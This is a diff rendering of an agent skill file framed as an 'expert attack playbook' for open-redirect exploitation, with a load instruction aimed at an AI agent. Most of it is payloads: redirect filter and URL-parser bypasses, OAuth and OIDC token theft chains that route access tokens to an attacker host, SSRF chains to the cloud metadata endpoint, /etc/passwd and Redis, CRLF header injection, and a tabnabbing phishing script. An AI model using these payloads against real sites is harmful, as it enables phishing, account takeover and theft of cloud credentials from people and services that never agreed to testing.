- CSRF-heavy login or binding bugs: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
|
|
@@ -0,0 +1,380 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: open-redirect
|
|
3
|
+
description: >-
|
|
4
|
+
Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Open Redirect — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.
|
|
10
|
+
|
|
11
|
+
## 1. CORE CONCEPT
|
|
12
|
+
|
|
13
|
+
Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.
|
|
14
|
+
|
|
15
|
+
```
|
|
16
|
+
https://trusted.com/redirect?url=https://evil.com
|
|
17
|
+
→ User sees trusted.com in the link → clicks → lands on evil.com
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 2. FINDING REDIRECT PARAMETERS
|
|
23
|
+
|
|
24
|
+
### Common Parameter Names
|
|
25
|
+
|
|
26
|
+
```text
|
|
27
|
+
?url= ?redirect= ?next= ?dest=
|
|
28
|
+
?destination= ?redir= ?return= ?returnUrl=
|
|
29
|
+
?go= ?forward= ?target= ?out=
|
|
30
|
+
?continue= ?link= ?view= ?to=
|
|
31
|
+
?ref= ?callback= ?path= ?rurl=
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### Server-Side Sinks
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
HTTP 301/302 Location header
|
|
38
|
+
PHP: header("Location: $input")
|
|
39
|
+
Python: redirect(input)
|
|
40
|
+
Java: response.sendRedirect(input)
|
|
41
|
+
Node: res.redirect(input)
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
### Client-Side (JavaScript) Sinks
|
|
45
|
+
|
|
46
|
+
```javascript
|
|
47
|
+
window.location = input
|
|
48
|
+
window.location.href = input
|
|
49
|
+
window.location.replace(input)
|
|
50
|
+
window.open(input)
|
|
51
|
+
document.location = input
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## 3. FILTER BYPASS TECHNIQUES
|
|
57
|
+
|
|
58
|
+
| Validation | Bypass |
|
|
59
|
+
|---|---|
|
|
60
|
+
| Checks if URL starts with `/` | `//evil.com` (protocol-relative) |
|
|
61
|
+
| Checks domain contains `trusted.com` | `evil.com?trusted.com` or `trusted.com.evil.com` |
|
|
62
|
+
| Blocks `http://` | `//evil.com`, `https://evil.com`, `\/\/evil.com` |
|
|
63
|
+
| Checks URL starts with `https://trusted.com` | `https://trusted.com@evil.com` (userinfo) |
|
|
64
|
+
| Regex `^/[^/]` (relative only) | `/\evil.com` (backslash treated as path in some browsers) |
|
|
65
|
+
| Django `endswith('target.com')` | `http://evil.com/www.target.com` — URL path ends with target domain |
|
|
66
|
+
| Whitelist by domain suffix | Subdomain takeover on `*.trusted.com` |
|
|
67
|
+
|
|
68
|
+
```text
|
|
69
|
+
# Protocol-relative:
|
|
70
|
+
//evil.com
|
|
71
|
+
|
|
72
|
+
# Userinfo bypass:
|
|
73
|
+
https://trusted.com@evil.com
|
|
74
|
+
|
|
75
|
+
# Backslash trick:
|
|
76
|
+
/\evil.com
|
|
77
|
+
/\/evil.com
|
|
78
|
+
|
|
79
|
+
# URL encoding:
|
|
80
|
+
https://trusted.com/%2F%2Fevil.com
|
|
81
|
+
|
|
82
|
+
# Django endswith bypass:
|
|
83
|
+
http://evil.com/www.target.com
|
|
84
|
+
http://evil.com?target.com
|
|
85
|
+
|
|
86
|
+
# Trusted site double-redirect (e.g., via Baidu link service):
|
|
87
|
+
https://link.target.com/?url=http://evil.com
|
|
88
|
+
|
|
89
|
+
# Special character confusion:
|
|
90
|
+
http://evil.com#@trusted.com # fragment as authority
|
|
91
|
+
http://evil.com?trusted.com # query string confusion
|
|
92
|
+
http://trusted.com%00@evil.com # null byte truncation
|
|
93
|
+
|
|
94
|
+
# Tab/newline in URL (browser ignores whitespace):
|
|
95
|
+
java%09script:alert(1)
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## 4. EXPLOITATION CHAINS
|
|
101
|
+
|
|
102
|
+
### Phishing Amplification
|
|
103
|
+
|
|
104
|
+
Attacker sends: `https://bigbank.com/redirect?url=https://bigbank-login.evil.com`
|
|
105
|
+
Victim sees `bigbank.com` → clicks → enters credentials on clone site.
|
|
106
|
+
|
|
107
|
+
### OAuth Token Theft
|
|
108
|
+
|
|
109
|
+
If OAuth `redirect_uri` allows open redirect on the authorized domain:
|
|
110
|
+
```
|
|
111
|
+
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
|
|
112
|
+
→ Authorization code or token appended to evil.com URL
|
|
113
|
+
→ Attacker captures token from URL fragment or query
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### CSRF Referer Bypass
|
|
117
|
+
|
|
118
|
+
Some CSRF protections check `Referer` header contains trusted domain:
|
|
119
|
+
```
|
|
120
|
+
1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
|
|
121
|
+
2. Redirect preserves Referer from trusted.com
|
|
122
|
+
3. CSRF protection passes because Referer = trusted.com
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
### SSRF via Redirect
|
|
126
|
+
|
|
127
|
+
When server follows redirects:
|
|
128
|
+
```
|
|
129
|
+
?url=https://attacker.com/redirect-to-internal
|
|
130
|
+
# attacker.com returns 302 → http://169.254.169.254/
|
|
131
|
+
# Server follows redirect → SSRF to metadata endpoint
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## 5. TESTING CHECKLIST
|
|
137
|
+
|
|
138
|
+
```
|
|
139
|
+
□ Identify all URL parameters that trigger redirects
|
|
140
|
+
□ Test external domain: ?url=https://evil.com
|
|
141
|
+
□ Test protocol-relative: ?url=//evil.com
|
|
142
|
+
□ Test userinfo bypass: ?url=https://trusted.com@evil.com
|
|
143
|
+
□ Test backslash: ?url=/\evil.com
|
|
144
|
+
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
|
|
145
|
+
□ Check OAuth flows for redirect_uri open redirect
|
|
146
|
+
□ Verify if redirect preserves auth tokens in URL
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## 6. TABNABBING (REVERSE TABNABBING)
|
|
152
|
+
|
|
153
|
+
### Concept
|
|
154
|
+
|
|
155
|
+
When a link opens a new tab with `target="_blank"` WITHOUT `rel="noopener"`:
|
|
156
|
+
|
|
157
|
+
- The new page can access `window.opener`
|
|
158
|
+
- It can redirect the ORIGINAL page: `window.opener.location = "https://phishing.com/login"`
|
|
159
|
+
- User returns to "original" tab → sees fake login page → enters credentials
|
|
160
|
+
|
|
161
|
+
### Detection
|
|
162
|
+
|
|
163
|
+
```html
|
|
164
|
+
<!-- Vulnerable: -->
|
|
165
|
+
<a href="https://external.com" target="_blank">Click here</a>
|
|
166
|
+
|
|
167
|
+
<!-- Safe: -->
|
|
168
|
+
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Exploitation
|
|
172
|
+
|
|
173
|
+
```javascript
|
|
174
|
+
// On the attacker-controlled page (opened via target="_blank"):
|
|
175
|
+
if (window.opener) {
|
|
176
|
+
window.opener.location = "https://phishing.com/fake-login.html";
|
|
177
|
+
}
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
### Where to Look
|
|
181
|
+
|
|
182
|
+
- User-generated content with links (forums, comments, profiles)
|
|
183
|
+
- `target="_blank"` links to external domains
|
|
184
|
+
- PDF viewers, document previews opening in new tabs
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## 7. OPEN REDIRECT → OAUTH TOKEN THEFT (DETAILED CHAINS)
|
|
189
|
+
|
|
190
|
+
### 7.1 OAuth Implicit Flow
|
|
191
|
+
|
|
192
|
+
In the implicit flow, the access token is returned in the URL fragment (`#access_token=...`). If `redirect_uri` allows an open redirect on the authorized domain:
|
|
193
|
+
|
|
194
|
+
```text
|
|
195
|
+
/authorize?response_type=token
|
|
196
|
+
&client_id=CLIENT
|
|
197
|
+
&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
|
|
198
|
+
&scope=read
|
|
199
|
+
|
|
200
|
+
Flow:
|
|
201
|
+
1. User authenticates → authorization server redirects to:
|
|
202
|
+
https://target.com/redirect?url=https://evil.com#access_token=SECRET
|
|
203
|
+
2. Open redirect fires → browser navigates to:
|
|
204
|
+
https://evil.com#access_token=SECRET
|
|
205
|
+
3. Attacker page reads location.hash → captures access token
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
### 7.2 Authorization Code Flow
|
|
209
|
+
|
|
210
|
+
The authorization code is sent as a query parameter. If the redirect chain preserves query parameters:
|
|
211
|
+
|
|
212
|
+
```text
|
|
213
|
+
/authorize?response_type=code
|
|
214
|
+
&client_id=CLIENT
|
|
215
|
+
&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
|
|
216
|
+
|
|
217
|
+
Flow:
|
|
218
|
+
1. Authorization server validates redirect_uri prefix → matches https://target.com/
|
|
219
|
+
2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
|
|
220
|
+
3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE
|
|
221
|
+
4. Attacker exchanges code for access token
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### 7.3 OIDC id_token Fragment Leak
|
|
225
|
+
|
|
226
|
+
```text
|
|
227
|
+
/authorize?response_type=id_token
|
|
228
|
+
&client_id=CLIENT
|
|
229
|
+
&redirect_uri=https://target.com/cb
|
|
230
|
+
&nonce=NONCE
|
|
231
|
+
|
|
232
|
+
If redirect_uri points to open redirect endpoint:
|
|
233
|
+
→ id_token in fragment sent to attacker
|
|
234
|
+
→ Attacker has signed identity assertion
|
|
235
|
+
→ Can authenticate as victim on any RP accepting this IdP
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
### 7.4 redirect_uri validation bypass patterns
|
|
239
|
+
|
|
240
|
+
```text
|
|
241
|
+
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
|
|
242
|
+
redirect_uri=https://target.com/callback?next=https://evil.com
|
|
243
|
+
redirect_uri=https://target.com/callback%23@evil.com
|
|
244
|
+
redirect_uri=https://target.com/callback/../../redirect
|
|
245
|
+
redirect_uri=https://target.com/callback#@evil.com
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## 8. OPEN REDIRECT → SSRF CHAIN
|
|
251
|
+
|
|
252
|
+
### Server-side redirect following
|
|
253
|
+
|
|
254
|
+
When a server-side component follows HTTP redirects (e.g., URL preview, link unfurler, webhook, image fetcher):
|
|
255
|
+
|
|
256
|
+
```text
|
|
257
|
+
1. Submit URL to server-side fetcher: http://attacker.com/redirect
|
|
258
|
+
2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/
|
|
259
|
+
3. Server follows redirect → SSRF to cloud metadata endpoint
|
|
260
|
+
4. Response (IAM credentials) returned to attacker or visible in preview
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
### Multi-hop redirect for filter bypass
|
|
264
|
+
|
|
265
|
+
```text
|
|
266
|
+
1. Server blocks direct requests to 169.254.169.254
|
|
267
|
+
2. Submit: http://attacker.com/r1
|
|
268
|
+
3. r1 → 302 → http://attacker.com/r2 (same domain, passes filter)
|
|
269
|
+
4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
### DNS rebinding variant
|
|
273
|
+
|
|
274
|
+
```text
|
|
275
|
+
1. attacker.com resolves to attacker's public IP (TTL=0)
|
|
276
|
+
2. Server resolves attacker.com → public IP → passes SSRF filter
|
|
277
|
+
3. Connection established, but HTTP redirect points to attacker.com again
|
|
278
|
+
4. Second DNS resolution: attacker.com now resolves to 169.254.169.254
|
|
279
|
+
5. Server follows redirect to internal address
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### Scope escalation via redirect protocols
|
|
283
|
+
|
|
284
|
+
```text
|
|
285
|
+
http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF)
|
|
286
|
+
http://attacker.com/redirect → file:///etc/passwd (local file read)
|
|
287
|
+
http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached)
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
Not all HTTP clients follow cross-protocol redirects, but `curl` (default) and some libraries do.
|
|
291
|
+
|
|
292
|
+
---
|
|
293
|
+
|
|
294
|
+
## 9. URL PARSER CONFUSION FOR REDIRECT BYPASS
|
|
295
|
+
|
|
296
|
+
When a redirect validation function parses the URL differently from the browser or server that ultimately processes it:
|
|
297
|
+
|
|
298
|
+
### Protocol-relative URL
|
|
299
|
+
|
|
300
|
+
```text
|
|
301
|
+
//attacker.com
|
|
302
|
+
→ Browser: https://attacker.com (inherits current page protocol)
|
|
303
|
+
→ Some validators: relative path "/attacker.com" (wrong)
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
### Backslash confusion
|
|
307
|
+
|
|
308
|
+
```text
|
|
309
|
+
\/\/attacker.com
|
|
310
|
+
/\/attacker.com
|
|
311
|
+
→ Many browsers normalize \ to / in URLs
|
|
312
|
+
→ Validators treating \ as path character may allow it
|
|
313
|
+
```
|
|
314
|
+
|
|
315
|
+
### Userinfo section abuse
|
|
316
|
+
|
|
317
|
+
```text
|
|
318
|
+
//attacker.com\@target.com
|
|
319
|
+
→ Browser: navigates to attacker.com (@ is userinfo delimiter)
|
|
320
|
+
→ Validator sees "target.com" in the string → passes allowlist check
|
|
321
|
+
|
|
322
|
+
//target.com@attacker.com
|
|
323
|
+
→ Browser: userinfo=target.com, host=attacker.com
|
|
324
|
+
→ Validator checks "starts with target.com" → passes
|
|
325
|
+
|
|
326
|
+
https://target.com%2F@attacker.com
|
|
327
|
+
→ URL-decoded: target.com/ as userinfo, host=attacker.com
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
### Double encoding
|
|
331
|
+
|
|
332
|
+
```text
|
|
333
|
+
//attacker%252ecom
|
|
334
|
+
→ First decode: //attacker%2ecom (passes validator)
|
|
335
|
+
→ Second decode (by server/browser): //attacker.com (actual redirect)
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
### CRLF injection + redirect
|
|
339
|
+
|
|
340
|
+
```text
|
|
341
|
+
/%0d%0aLocation:%20https://attacker.com
|
|
342
|
+
→ If server reflects the path in a header context:
|
|
343
|
+
HTTP/1.1 302 Found
|
|
344
|
+
Location: /
|
|
345
|
+
Location: https://attacker.com ← injected header wins
|
|
346
|
+
```
|
|
347
|
+
|
|
348
|
+
### Fragment confusion
|
|
349
|
+
|
|
350
|
+
```text
|
|
351
|
+
https://target.com#@attacker.com
|
|
352
|
+
→ Browser: host=target.com, fragment=@attacker.com
|
|
353
|
+
→ But some JS-based redirects: window.location = url → may process differently
|
|
354
|
+
|
|
355
|
+
https://attacker.com#.target.com
|
|
356
|
+
→ Validator: sees "target.com" in string → passes
|
|
357
|
+
→ Browser: navigates to attacker.com (fragment ignored in navigation)
|
|
358
|
+
```
|
|
359
|
+
|
|
360
|
+
### Special characters
|
|
361
|
+
|
|
362
|
+
```text
|
|
363
|
+
https://attacker.com%E3%80%82target.com
|
|
364
|
+
→ Unicode ideographic full stop (U+3002) — some parsers treat as dot
|
|
365
|
+
→ Browser may normalize differently than validator
|
|
366
|
+
|
|
367
|
+
https://attacker。com (U+3002 fullwidth period)
|
|
368
|
+
https://attacker.com (U+FF0E fullwidth full stop)
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### Combined URL parser differential table
|
|
372
|
+
|
|
373
|
+
| Payload | Validator Sees | Browser Navigates To |
|
|
374
|
+
|---------|---------------|---------------------|
|
|
375
|
+
| `//evil.com` | Relative path | `https://evil.com` |
|
|
376
|
+
| `\/\/evil.com` | Path `\/\/evil.com` | `https://evil.com` |
|
|
377
|
+
| `//evil.com\@target.com` | Contains `target.com` | `https://evil.com` |
|
|
378
|
+
| `//target.com@evil.com` | Starts with `target.com` | `https://evil.com` |
|
|
379
|
+
| `/%0d%0aLocation: https://evil.com` | Path string | Header injection → redirect |
|
|
380
|
+
| `//evil%252ecom` | `evil%2ecom` (not a domain) | `evil.com` (after double decode) |
|